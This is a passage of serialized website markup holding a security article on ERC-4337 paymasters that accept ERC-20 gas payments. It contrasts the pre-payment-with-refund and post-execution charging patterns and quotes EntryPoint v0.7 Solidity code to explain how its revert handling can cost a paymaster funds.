vector.",{"type":20,"tag":21,"props":102739,"children":102741},{"id":102740},"incorrect-erc-20-handling",[102742],{"type":20,"tag":3717,"props":102743,"children":102744},{},[102745],{"type":26,"value":102746},"Incorrect ERC-20 Handling",{"type":20,"tag":29,"props":102748,"children":102749},{},[102750],{"type":26,"value":102751},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":20,"tag":29,"props":102753,"children":102754},{},[102755,102756,102761,102763,102768],{"type":26,"value":43718},{"type":20,"tag":119,"props":102757,"children":102759},{"className":102758},[],[102760],{"type":26,"value":100521},{"type":26,"value":102762}," flow above, we can see that paymasters have two key interaction points during a ",{"type":20,"tag":119,"props":102764,"children":102766},{"className":102765},[],[102767],{"type":26,"value":100440},{"type":26,"value":102769},"'s lifecycle:",{"type":20,"tag":68,"props":102771,"children":102772},{},[102773,102783],{"type":20,"tag":72,"props":102774,"children":102775},{},[102776,102778],{"type":26,"value":102777},"During validation via ",{"type":20,"tag":119,"props":102779,"children":102781},{"className":102780},[],[102782],{"type":26,"value":100628},{"type":20,"tag":72,"props":102784,"children":102785},{},[102786,102788],{"type":26,"value":102787},"After execution via ",{"type":20,"tag":119,"props":102789,"children":102791},{"className":102790},[],[102792],{"type":26,"value":100639},{"type":20,"tag":29,"props":102794,"children":102795},{},[102796],{"type":26,"value":102797},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":20,"tag":219,"props":102799,"children":102801},{"id":102800},"_1-pre-payment-with-refund-pattern",[102802],{"type":26,"value":102803},"1. Pre-Payment with Refund Pattern",{"type":20,"tag":29,"props":102805,"children":102806},{},[102807,102809,102814,102816,102821,102823,102829,102830,102836,102838,102843,102845,102850,102852,102857],{"type":26,"value":102808},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":20,"tag":119,"props":102810,"children":102812},{"className":102811},[],[102813],{"type":26,"value":100628},{"type":26,"value":102815},". After execution completes, ",{"type":20,"tag":119,"props":102817,"children":102819},{"className":102818},[],[102820],{"type":26,"value":100639},{"type":26,"value":102822}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":20,"tag":119,"props":102824,"children":102826},{"className":102825},[],[102827],{"type":26,"value":102828},"SEND",{"type":26,"value":9392},{"type":20,"tag":119,"props":102831,"children":102833},{"className":102832},[],[102834],{"type":26,"value":102835},"Circle",{"type":26,"value":102837}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":20,"tag":119,"props":102839,"children":102841},{"className":102840},[],[102842],{"type":26,"value":100469},{"type":26,"value":102844},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":20,"tag":3717,"props":102846,"children":102847},{},[102848],{"type":26,"value":102849},"before",{"type":26,"value":102851}," execution (specifically during ",{"type":20,"tag":119,"props":102853,"children":102855},{"className":102854},[],[102856],{"type":26,"value":102682},{"type":26,"value":19146},{"type":20,"tag":219,"props":102859,"children":102861},{"id":102860},"_2-post-execution-charging-pattern",[102862],{"type":26,"value":102863},"2. Post-Execution Charging Pattern",{"type":20,"tag":29,"props":102865,"children":102866},{},[102867,102869,102874,102876,102881,102883,102888,102890,102895],{"type":26,"value":102868},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":20,"tag":119,"props":102870,"children":102872},{"className":102871},[],[102873],{"type":26,"value":100628},{"type":26,"value":102875},", the actual token payment is calculated and collected in ",{"type":20,"tag":119,"props":102877,"children":102879},{"className":102878},[],[102880],{"type":26,"value":100639},{"type":26,"value":102882}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":20,"tag":119,"props":102884,"children":102886},{"className":102885},[],[102887],{"type":26,"value":100440},{"type":26,"value":102889},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":20,"tag":119,"props":102891,"children":102893},{"className":102892},[],[102894],{"type":26,"value":100741},{"type":26,"value":102896},". This means users could interact with the paymaster without any prior setup.",{"type":20,"tag":29,"props":102898,"children":102899},{},[102900,102902,102907,102909,102915,102917,102923,102925,102930],{"type":26,"value":102901},"This approach used to work in ",{"type":20,"tag":119,"props":102903,"children":102905},{"className":102904},[],[102906],{"type":26,"value":100521},{"type":26,"value":102908}," version ",{"type":20,"tag":119,"props":102910,"children":102912},{"className":102911},[],[102913],{"type":26,"value":102914},"v0.6",{"type":26,"value":102916},", but the pattern no longer works in ",{"type":20,"tag":119,"props":102918,"children":102920},{"className":102919},[],[102921],{"type":26,"value":102922},"v0.7",{"type":26,"value":102924},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":20,"tag":119,"props":102926,"children":102928},{"className":102927},[],[102929],{"type":26,"value":102922},{"type":26,"value":102931}," handles the execution phase:",{"type":20,"tag":305,"props":102933,"children":102935},{"className":307,"code":102934,"language":309,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[102936],{"type":20,"tag":119,"props":102937,"children":102938},{"__ignoreMap":7},[102939,102955,102971,102991,103008,103015,103028,103052,103060,103073,103080,103087,103108,103147,103184,103196,103203,103239,103246,103267,103356,103385,103392,103405,103412,103432,103439,103460,103468,103476,103503,103531,103539,103582,103602,103615,103637,103653,103668,103675,103695,103703,103711,103719,103727,103735,103742,103749],{"type":20,"tag":315,"props":102940,"children":102941},{"class":317,"line":318},[102942,102946,102951],{"type":20,"tag":315,"props":102943,"children":102944},{"style":541},[102945],{"type":26,"value":88089},{"type":20,"tag":315,"props":102947,"children":102948},{"style":345},[102949],{"type":26,"value":102950}," _executeUserOp",{"type":20,"tag":315,"props":102952,"children":102953},{"style":328},[102954],{"type":26,"value":353},{"type":20,"tag":315,"props":102956,"children":102957},{"class":317,"line":356},[102958,102962,102967],{"type":20,"tag":315,"props":102959,"children":102960},{"style":322},[102961],{"type":26,"value":88267},{"type":20,"tag":315,"props":102963,"children":102964},{"style":635},[102965],{"type":26,"value":102966}," opIndex",{"type":20,"tag":315,"props":102968,"children":102969},{"style":328},[102970],{"type":26,"value":643},{"type":20,"tag":315,"props":102972,"children":102973},{"class":317,"line":365},[102974,102979,102983,102987],{"type":20,"tag":315,"props":102975,"children":102976},{"style":541},[102977],{"type":26,"value":102978}," PackedUserOperation",{"type":20,"tag":315,"props":102980,"children":102981},{"style":541},[102982],{"type":26,"value":101270},{"type":20,"tag":315,"props":102984,"children":102985},{"style":635},[102986],{"type":26,"value":101275},{"type":20,"tag":315,"props":102988,"children":102989},{"style":328},[102990],{"type":26,"value":643},{"type":20,"tag":315,"props":102992,"children":102993},{"class":317,"line":374},[102994,102999,103003],{"type":20,"tag":315,"props":102995,"children":102996},{"style":541},[102997],{"type":26,"value":102998}," UserOpInfo",{"type":20,"tag":315,"props":103000,"children":103001},{"style":541},[103002],{"type":26,"value":101338},{"type":20,"tag":315,"props":103004,"children":103005},{"style":635},[103006],{"type":26,"value":103007}," opInfo\n",{"type":20,"tag":315,"props":103009,"children":103010},{"class":317,"line":383},[103011],{"type":20,"tag":315,"props":103012,"children":103013},{"style":328},[103014],{"type":26,"value":22335},{"type":20,"tag":315,"props":103016,"children":103017},{"class":317,"line":407},[103018,103023],{"type":20,"tag":315,"props":103019,"children":103020},{"style":541},[103021],{"type":26,"value":103022}," internal",{"type":20,"tag":315,"props":103024,"children":103025},{"style":541},[103026],{"type":26,"value":103027}," virtual\n",{"type":20,"tag":315,"props":103029,"children":103030},{"class":317,"line":421},[103031,103035,103039,103043,103048],{"type":20,"tag":315,"props":103032,"children":103033},{"style":525},[103034],{"type":26,"value":703},{"type":20,"tag":315,"props":103036,"children":103037},{"style":328},[103038],{"type":26,"value":463},{"type":20,"tag":315,"props":103040,"children":103041},{"style":322},[103042],{"type":26,"value":325},{"type":20,"tag":315,"props":103044,"children":103045},{"style":635},[103046],{"type":26,"value":103047}," collected",{"type":20,"tag":315,"props":103049,"children":103050},{"style":328},[103051],{"type":26,"value":549},{"type":20,"tag":315,"props":103053,"children":103054},{"class":317,"line":430},[103055],{"type":20,"tag":315,"props":103056,"children":103057},{"style":328},[103058],{"type":26,"value":103059}," [...]\n",{"type":20,"tag":315,"props":103061,"children":103062},{"class":317,"line":453},[103063,103068],{"type":20,"tag":315,"props":103064,"children":103065},{"style":322},[103066],{"type":26,"value":103067}," bool",{"type":20,"tag":315,"props":103069,"children":103070},{"style":328},[103071],{"type":26,"value":103072}," success;\n",{"type":20,"tag":315,"props":103074,"children":103075},{"class":317,"line":486},[103076],{"type":20,"tag":315,"props":103077,"children":103078},{"style":328},[103079],{"type":26,"value":30074},{"type":20,"tag":315,"props":103081,"children":103082},{"class":317,"line":499},[103083],{"type":20,"tag":315,"props":103084,"children":103085},{"style":328},[103086],{"type":26,"value":103059},{"type":20,"tag":315,"props":103088,"children":103089},{"class":317,"line":513},[103090,103094,103099,103103],{"type":20,"tag":315,"props":103091,"children":103092},{"style":525},[103093],{"type":26,"value":57054},{"type":20,"tag":315,"props":103095,"children":103096},{"style":328},[103097],{"type":26,"value":103098}," (methodSig ",{"type":20,"tag":315,"props":103100,"children":103101},{"style":334},[103102],{"type":26,"value":538},{"type":20,"tag":315,"props":103104,"children":103105},{"style":328},[103106],{"type":26,"value":103107}," IAccountExecute.executeUserOp.selector) {\n",{"type":20,"tag":315,"props":103109,"children":103110},{"class":317,"line":521},[103111,103116,103120,103125,103129,103133,103137,103142],{"type":20,"tag":315,"props":103112,"children":103113},{"style":322},[103114],{"type":26,"value":103115}," bytes",{"type":20,"tag":315,"props":103117,"children":103118},{"style":541},[103119],{"type":26,"value":101338},{"type":20,"tag":315,"props":103121,"children":103122},{"style":328},[103123],{"type":26,"value":103124}," executeUserOp ",{"type":20,"tag":315,"props":103126,"children":103127},{"style":334},[103128],{"type":26,"value":337},{"type":20,"tag":315,"props":103130,"children":103131},{"style":541},[103132],{"type":26,"value":101935},{"type":20,"tag":315,"props":103134,"children":103135},{"style":328},[103136],{"type":26,"value":61},{"type":20,"tag":315,"props":103138,"children":103139},{"style":345},[103140],{"type":26,"value":103141},"encodeCall",{"type":20,"tag":315,"props":103143,"children":103144},{"style":328},[103145],{"type":26,"value":103146},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":20,"tag":315,"props":103148,"children":103149},{"class":317,"line":552},[103150,103155,103159,103163,103167,103171,103175,103179],{"type":20,"tag":315,"props":103151,"children":103152},{"style":328},[103153],{"type":26,"value":103154}," innerCall ",{"type":20,"tag":315,"props":103156,"children":103157},{"style":334},[103158],{"type":26,"value":337},{"type":20,"tag":315,"props":103160,"children":103161},{"style":541},[103162],{"type":26,"value":101935},{"type":20,"tag":315,"props":103164,"children":103165},{"style":328},[103166],{"type":26,"value":61},{"type":20,"tag":315,"props":103168,"children":103169},{"style":345},[103170],{"type":26,"value":103141},{"type":20,"tag":315,"props":103172,"children":103173},{"style":328},[103174],{"type":26,"value":1049},{"type":20,"tag":315,"props":103176,"children":103177},{"style":541},[103178],{"type":26,"value":16095},{"type":20,"tag":315,"props":103180,"children":103181},{"style":328},[103182],{"type":26,"value":103183},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":20,"tag":315,"props":103185,"children":103186},{"class":317,"line":571},[103187,103191],{"type":20,"tag":315,"props":103188,"children":103189},{"style":328},[103190],{"type":26,"value":68850},{"type":20,"tag":315,"props":103192,"children":103193},{"style":525},[103194],{"type":26,"value":103195},"else\n",{"type":20,"tag":315,"props":103197,"children":103198},{"class":317,"line":2031},[103199],{"type":20,"tag":315,"props":103200,"children":103201},{"style":328},[103202],{"type":26,"value":30110},{"type":20,"tag":315,"props":103204,"children":103205},{"class":317,"line":2053},[103206,103210,103214,103218,103222,103226,103230,103234],{"type":20,"tag":315,"props":103207,"children":103208},{"style":328},[103209],{"type":26,"value":103154},{"type":20,"tag":315,"props":103211,"children":103212},{"style":334},[103213],{"type":26,"value":337},{"type":20,"tag":315,"props":103215,"children":103216},{"style":541},[103217],{"type":26,"value":101935},{"type":20,"tag":315,"props":103219,"children":103220},{"style":328},[103221],{"type":26,"value":61},{"type":20,"tag":315,"props":103223,"children":103224},{"style":345},[103225],{"type":26,"value":103141},{"type":20,"tag":315,"props":103227,"children":103228},{"style":328},[103229],{"type":26,"value":1049},{"type":20,"tag":315,"props":103231,"children":103232},{"style":541},[103233],{"type":26,"value":16095},{"type":20,"tag":315,"props":103235,"children":103236},{"style":328},[103237],{"type":26,"value":103238},".innerHandleOp, (callData, opInfo, context));\n",{"type":20,"tag":315,"props":103240,"children":103241},{"class":317,"line":2061},[103242],{"type":20,"tag":315,"props":103243,"children":103244},{"style":328},[103245],{"type":26,"value":57138},{"type":20,"tag":315,"props":103247,"children":103248},{"class":317,"line":2070},[103249,103254,103258,103263],{"type":20,"tag":315,"props":103250,"children":103251},{"style":345},[103252],{"type":26,"value":103253}," assembly",{"type":20,"tag":315,"props":103255,"children":103256},{"style":328},[103257],{"type":26,"value":463},{"type":20,"tag":315,"props":103259,"children":103260},{"style":2652},[103261],{"type":26,"value":103262},"\"memory-safe\"",{"type":20,"tag":315,"props":103264,"children":103265},{"style":328},[103266],{"type":26,"value":549},{"type":20,"tag":315,"props":103268,"children":103269},{"class":317,"line":2139},[103270,103275,103279,103283,103287,103292,103296,103300,103304,103308,103312,103316,103321,103326,103330,103335,103340,103344,103348,103352],{"type":20,"tag":315,"props":103271,"children":103272},{"style":328},[103273],{"type":26,"value":103274}," success ",{"type":20,"tag":315,"props":103276,"children":103277},{"style":334},[103278],{"type":26,"value":20011},{"type":20,"tag":315,"props":103280,"children":103281},{"style":345},[103282],{"type":26,"value":39380},{"type":20,"tag":315,"props":103284,"children":103285},{"style":328},[103286],{"type":26,"value":1049},{"type":20,"tag":315,"props":103288,"children":103289},{"style":345},[103290],{"type":26,"value":103291},"gas",{"type":20,"tag":315,"props":103293,"children":103294},{"style":328},[103295],{"type":26,"value":16778},{"type":20,"tag":315,"props":103297,"children":103298},{"style":322},[103299],{"type":26,"value":1054},{"type":20,"tag":315,"props":103301,"children":103302},{"style":328},[103303],{"type":26,"value":16778},{"type":20,"tag":315,"props":103305,"children":103306},{"style":765},[103307],{"type":26,"value":1063},{"type":20,"tag":315,"props":103309,"children":103310},{"style":328},[103311],{"type":26,"value":44},{"type":20,"tag":315,"props":103313,"children":103314},{"style":345},[103315],{"type":26,"value":8037},{"type":20,"tag":315,"props":103317,"children":103318},{"style":328},[103319],{"type":26,"value":103320},"(innerCall, ",{"type":20,"tag":315,"props":103322,"children":103323},{"style":765},[103324],{"type":26,"value":103325},"0x20",{"type":20,"tag":315,"props":103327,"children":103328},{"style":328},[103329],{"type":26,"value":13578},{"type":20,"tag":315,"props":103331,"children":103332},{"style":345},[103333],{"type":26,"value":103334},"mload",{"type":20,"tag":315,"props":103336,"children":103337},{"style":328},[103338],{"type":26,"value":103339},"(innerCall), ",{"type":20,"tag":315,"props":103341,"children":103342},{"style":765},[103343],{"type":26,"value":1063},{"type":20,"tag":315,"props":103345,"children":103346},{"style":328},[103347],{"type":26,"value":44},{"type":20,"tag":315,"props":103349,"children":103350},{"style":765},[103351],{"type":26,"value":58600},{"type":20,"tag":315,"props":103353,"children":103354},{"style":328},[103355],{"type":26,"value":380},{"type":20,"tag":315,"props":103357,"children":103358},{"class":317,"line":2147},[103359,103364,103368,103373,103377,103381],{"type":20,"tag":315,"props":103360,"children":103361},{"style":328},[103362],{"type":26,"value":103363}," collected ",{"type":20,"tag":315,"props":103365,"children":103366},{"style":334},[103367],{"type":26,"value":20011},{"type":20,"tag":315,"props":103369,"children":103370},{"style":345},[103371],{"type":26,"value":103372}," mload",{"type":20,"tag":315,"props":103374,"children":103375},{"style":328},[103376],{"type":26,"value":1049},{"type":20,"tag":315,"props":103378,"children":103379},{"style":765},[103380],{"type":26,"value":1063},{"type":20,"tag":315,"props":103382,"children":103383},{"style":328},[103384],{"type":26,"value":380},{"type":20,"tag":315,"props":103386,"children":103387},{"class":317,"line":2177},[103388],{"type":20,"tag":315,"props":103389,"children":103390},{"style":328},[103391],{"type":26,"value":57138},{"type":20,"tag":315,"props":103393,"children":103394},{"class":317,"line":2185},[103395,103400],{"type":20,"tag":315,"props":103396,"children":103397},{"style":345},[103398],{"type":26,"value":103399}," _restoreFreePtr",{"type":20,"tag":315,"props":103401,"children":103402},{"style":328},[103403],{"type":26,"value":103404},"(saveFreePtr);\n",{"type":20,"tag":315,"props":103406,"children":103407},{"class":317,"line":2217},[103408],{"type":20,"tag":315,"props":103409,"children":103410},{"style":328},[103411],{"type":26,"value":1728},{"type":20,"tag":315,"props":103413,"children":103414},{"class":317,"line":2225},[103415,103419,103423,103427],{"type":20,"tag":315,"props":103416,"children":103417},{"style":525},[103418],{"type":26,"value":1654},{"type":20,"tag":315,"props":103420,"children":103421},{"style":328},[103422],{"type":26,"value":463},{"type":20,"tag":315,"props":103424,"children":103425},{"style":334},[103426],{"type":26,"value":19025},{"type":20,"tag":315,"props":103428,"children":103429},{"style":328},[103430],{"type":26,"value":103431},"success) {\n",{"type":20,"tag":315,"props":103433,"children":103434},{"class":317,"line":2285},[103435],{"type":20,"tag":315,"props":103436,"children":103437},{"style":328},[103438],{"type":26,"value":103059},{"type":20,"tag":315,"props":103440,"children":103441},{"class":317,"line":7444},[103442,103446,103451,103455],{"type":20,"tag":315,"props":103443,"children":103444},{"style":525},[103445],{"type":26,"value":57054},{"type":20,"tag":315,"props":103447,"children":103448},{"style":328},[103449],{"type":26,"value":103450}," (innerRevertCode ",{"type":20,"tag":315,"props":103452,"children":103453},{"style":334},[103454],{"type":26,"value":538},{"type":20,"tag":315,"props":103456,"children":103457},{"style":328},[103458],{"type":26,"value":103459}," INNER_OUT_OF_GAS) {\n",{"type":20,"tag":315,"props":103461,"children":103462},{"class":317,"line":7462},[103463],{"type":20,"tag":315,"props":103464,"children":103465},{"style":1071},[103466],{"type":26,"value":103467}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":20,"tag":315,"props":103469,"children":103470},{"class":317,"line":7507},[103471],{"type":20,"tag":315,"props":103472,"children":103473},{"style":1071},[103474],{"type":26,"value":103475}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":20,"tag":315,"props":103477,"children":103478},{"class":317,"line":7613},[103479,103484,103489,103494,103499],{"type":20,"tag":315,"props":103480,"children":103481},{"style":525},[103482],{"type":26,"value":103483}," revert",{"type":20,"tag":315,"props":103485,"children":103486},{"style":345},[103487],{"type":26,"value":103488}," FailedOp",{"type":20,"tag":315,"props":103490,"children":103491},{"style":328},[103492],{"type":26,"value":103493},"(opIndex, ",{"type":20,"tag":315,"props":103495,"children":103496},{"style":2652},[103497],{"type":26,"value":103498},"\"AA95 out of gas\"",{"type":20,"tag":315,"props":103500,"children":103501},{"style":328},[103502],{"type":26,"value":2214},{"type":20,"tag":315,"props":103504,"children":103505},{"class":317,"line":21914},[103506,103510,103514,103518,103522,103526],{"type":20,"tag":315,"props":103507,"children":103508},{"style":328},[103509],{"type":26,"value":68850},{"type":20,"tag":315,"props":103511,"children":103512},{"style":525},[103513],{"type":26,"value":1087},{"type":20,"tag":315,"props":103515,"children":103516},{"style":525},[103517],{"type":26,"value":14189},{"type":20,"tag":315,"props":103519,"children":103520},{"style":328},[103521],{"type":26,"value":103450},{"type":20,"tag":315,"props":103523,"children":103524},{"style":334},[103525],{"type":26,"value":538},{"type":20,"tag":315,"props":103527,"children":103528},{"style":328},[103529],{"type":26,"value":103530}," INNER_REVERT_LOW_PREFUND) {\n",{"type":20,"tag":315,"props":103532,"children":103533},{"class":317,"line":21949},[103534],{"type":20,"tag":315,"props":103535,"children":103536},{"style":1071},[103537],{"type":26,"value":103538}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":20,"tag":315,"props":103540,"children":103541},{"class":317,"line":21957},[103542,103546,103551,103555,103560,103564,103569,103573,103577],{"type":20,"tag":315,"props":103543,"children":103544},{"style":322},[103545],{"type":26,"value":101718},{"type":20,"tag":315,"props":103547,"children":103548},{"style":328},[103549],{"type":26,"value":103550}," actualGas ",{"type":20,"tag":315,"props":103552,"children":103553},{"style":334},[103554],{"type":26,"value":337},{"type":20,"tag":315,"props":103556,"children":103557},{"style":328},[103558],{"type":26,"value":103559}," preGas ",{"type":20,"tag":315,"props":103561,"children":103562},{"style":334},[103563],{"type":26,"value":478},{"type":20,"tag":315,"props":103565,"children":103566},{"style":541},[103567],{"type":26,"value":103568}," gasleft",{"type":20,"tag":315,"props":103570,"children":103571},{"style":328},[103572],{"type":26,"value":12444},{"type":20,"tag":315,"props":103574,"children":103575},{"style":334},[103576],{"type":26,"value":817},{"type":20,"tag":315,"props":103578,"children":103579},{"style":328},[103580],{"type":26,"value":103581}," opInfo.preOpGas;\n",{"type":20,"tag":315,"props":103583,"children":103584},{"class":317,"line":21965},[103585,103589,103593,103597],{"type":20,"tag":315,"props":103586,"children":103587},{"style":322},[103588],{"type":26,"value":101718},{"type":20,"tag":315,"props":103590,"children":103591},{"style":328},[103592],{"type":26,"value":102365},{"type":20,"tag":315,"props":103594,"children":103595},{"style":334},[103596],{"type":26,"value":337},{"type":20,"tag":315,"props":103598,"children":103599},{"style":328},[103600],{"type":26,"value":103601}," opInfo.prefund;\n",{"type":20,"tag":315,"props":103603,"children":103604},{"class":317,"line":21974},[103605,103610],{"type":20,"tag":315,"props":103606,"children":103607},{"style":345},[103608],{"type":26,"value":103609}," _emitPrefundTooLow",{"type":20,"tag":315,"props":103611,"children":103612},{"style":328},[103613],{"type":26,"value":103614},"(opInfo);\n",{"type":20,"tag":315,"props":103616,"children":103617},{"class":317,"line":22016},[103618,103623,103628,103632],{"type":20,"tag":315,"props":103619,"children":103620},{"style":345},[103621],{"type":26,"value":103622}," _emitUserOperationEvent",{"type":20,"tag":315,"props":103624,"children":103625},{"style":328},[103626],{"type":26,"value":103627},"(opInfo, ",{"type":20,"tag":315,"props":103629,"children":103630},{"style":541},[103631],{"type":26,"value":6571},{"type":20,"tag":315,"props":103633,"children":103634},{"style":328},[103635],{"type":26,"value":103636},", actualGasCost, actualGas);\n",{"type":20,"tag":315,"props":103638,"children":103639},{"class":317,"line":22049},[103640,103644,103648],{"type":20,"tag":315,"props":103641,"children":103642},{"style":328},[103643],{"type":26,"value":103363},{"type":20,"tag":315,"props":103645,"children":103646},{"style":334},[103647],{"type":26,"value":337},{"type":20,"tag":315,"props":103649,"children":103650},{"style":328},[103651],{"type":26,"value":103652}," actualGasCost;\n",{"type":20,"tag":315,"props":103654,"children":103655},{"class":317,"line":22057},[103656,103660,103664],{"type":20,"tag":315,"props":103657,"children":103658},{"style":328},[103659],{"type":26,"value":68850},{"type":20,"tag":315,"props":103661,"children":103662},{"style":525},[103663],{"type":26,"value":1087},{"type":20,"tag":315,"props":103665,"children":103666},{"style":328},[103667],{"type":26,"value":1092},{"type":20,"tag":315,"props":103669,"children":103670},{"class":317,"line":22065},[103671],{"type":20,"tag":315,"props":103672,"children":103673},{"style":328},[103674],{"type":26,"value":103059},{"type":20,"tag":315,"props":103676,"children":103677},{"class":317,"line":22074},[103678,103682,103686,103691],{"type":20,"tag":315,"props":103679,"children":103680},{"style":328},[103681],{"type":26,"value":103363},{"type":20,"tag":315,"props":103683,"children":103684},{"style":334},[103685],{"type":26,"value":337},{"type":20,"tag":315,"props":103687,"children":103688},{"style":345},[103689],{"type":26,"value":103690}," _postExecution",{"type":20,"tag":315,"props":103692,"children":103693},{"style":328},[103694],{"type":26,"value":353},{"type":20,"tag":315,"props":103696,"children":103697},{"class":317,"line":22150},[103698],{"type":20,"tag":315,"props":103699,"children":103700},{"style":328},[103701],{"type":26,"value":103702}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":20,"tag":315,"props":103704,"children":103705},{"class":317,"line":22183},[103706],{"type":20,"tag":315,"props":103707,"children":103708},{"style":328},[103709],{"type":26,"value":103710}," opInfo,\n",{"type":20,"tag":315,"props":103712,"children":103713},{"class":317,"line":22191},[103714],{"type":20,"tag":315,"props":103715,"children":103716},{"style":328},[103717],{"type":26,"value":103718}," context,\n",{"type":20,"tag":315,"props":103720,"children":103721},{"class":317,"line":22199},[103722],{"type":20,"tag":315,"props":103723,"children":103724},{"style":328},[103725],{"type":26,"value":103726}," actualGas\n",{"type":20,"tag":315,"props":103728,"children":103729},{"class":317,"line":22236},[103730],{"type":20,"tag":315,"props":103731,"children":103732},{"style":328},[103733],{"type":26,"value":103734}," );\n",{"type":20,"tag":315,"props":103736,"children":103737},{"class":317,"line":22249},[103738],{"type":20,"tag":315,"props":103739,"children":103740},{"style":328},[103741],{"type":26,"value":57138},{"type":20,"tag":315,"props":103743,"children":103744},{"class":317,"line":22262},[103745],{"type":20,"tag":315,"props":103746,"children":103747},{"style":328},[103748],{"type":26,"value":1728},{"type":20,"tag":315,"props":103750,"children":103751},{"class":317,"line":22275},[103752],{"type":20,"tag":315,"props":103753,"children":103754},{"style":328},[103755],{"type":26,"value":1736},{"type":20,"tag":29,"props":103757,"children":103758},{},[103759,103761,103766,103768,103774,103776,103782,103784,103790],{"type":26,"value":103760},"During execution, the ",{"type":20,"tag":119,"props":103762,"children":103764},{"className":103763},[],[103765],{"type":26,"value":100521},{"type":26,"value":103767}," contract makes a ",{"type":20,"tag":35,"props":103769,"children":103772},{"href":103770,"rel":103771},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[39],[103773],{"type":26,"value":36712},{"type":26,"value":103775}," to its own ",{"type":20,"tag":119,"props":103777,"children":103779},{"className":103778},[],[103780],{"type":26,"value":103781},"innerHandleOp",{"type":26,"value":103783}," function through a low-level ",{"type":20,"tag":119,"props":103785,"children":103787},{"className":103786},[],[103788],{"type":26,"value":103789},"call()",{"type":26,"value":103791},". This is done to create a new call context for executing the user operation.",{"type":20,"tag":29,"props":103793,"children":103794},{},[103795,103797,103803,103804,103809,103811,103818,103820,103826],{"type":26,"value":103796},"If this call fails (when ",{"type":20,"tag":119,"props":103798,"children":103800},{"className":103799},[],[103801],{"type":26,"value":103802},"success",{"type":26,"value":3894},{"type":20,"tag":119,"props":103805,"children":103807},{"className":103806},[],[103808],{"type":26,"value":6571},{"type":26,"value":103810},"), the code enters an ",{"type":20,"tag":35,"props":103812,"children":103815},{"href":103813,"rel":103814},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[39],[103816],{"type":26,"value":103817},"error handling",{"type":26,"value":103819}," flow that checks the ",{"type":20,"tag":119,"props":103821,"children":103823},{"className":103822},[],[103824],{"type":26,"value":103825},"innerRevertCode",{"type":26,"value":103827},". There are three possible paths:",{"type":20,"tag":68,"props":103829,"children":103830},{},[103831,103855,103873],{"type":20,"tag":72,"props":103832,"children":103833},{},[103834,103835,103840,103841,103847,103849,103854],{"type":26,"value":5875},{"type":20,"tag":119,"props":103836,"children":103838},{"className":103837},[],[103839],{"type":26,"value":103825},{"type":26,"value":3894},{"type":20,"tag":119,"props":103842,"children":103844},{"className":103843},[],[103845],{"type":26,"value":103846},"INNER_OUT_OF_GAS",{"type":26,"value":103848},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":20,"tag":119,"props":103850,"children":103852},{"className":103851},[],[103853],{"type":26,"value":103498},{"type":26,"value":61},{"type":20,"tag":72,"props":103856,"children":103857},{},[103858,103859,103864,103865,103871],{"type":26,"value":5875},{"type":20,"tag":119,"props":103860,"children":103862},{"className":103861},[],[103863],{"type":26,"value":103825},{"type":26,"value":3894},{"type":20,"tag":119,"props":103866,"children":103868},{"className":103867},[],[103869],{"type":26,"value":103870},"INNER_REVERT_LOW_PREFUND",{"type":26,"value":103872},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":20,"tag":72,"props":103874,"children":103875},{},[103876,103878,103884,103886,103892],{"type":26,"value":103877},"For any other revert reason, the code will still call 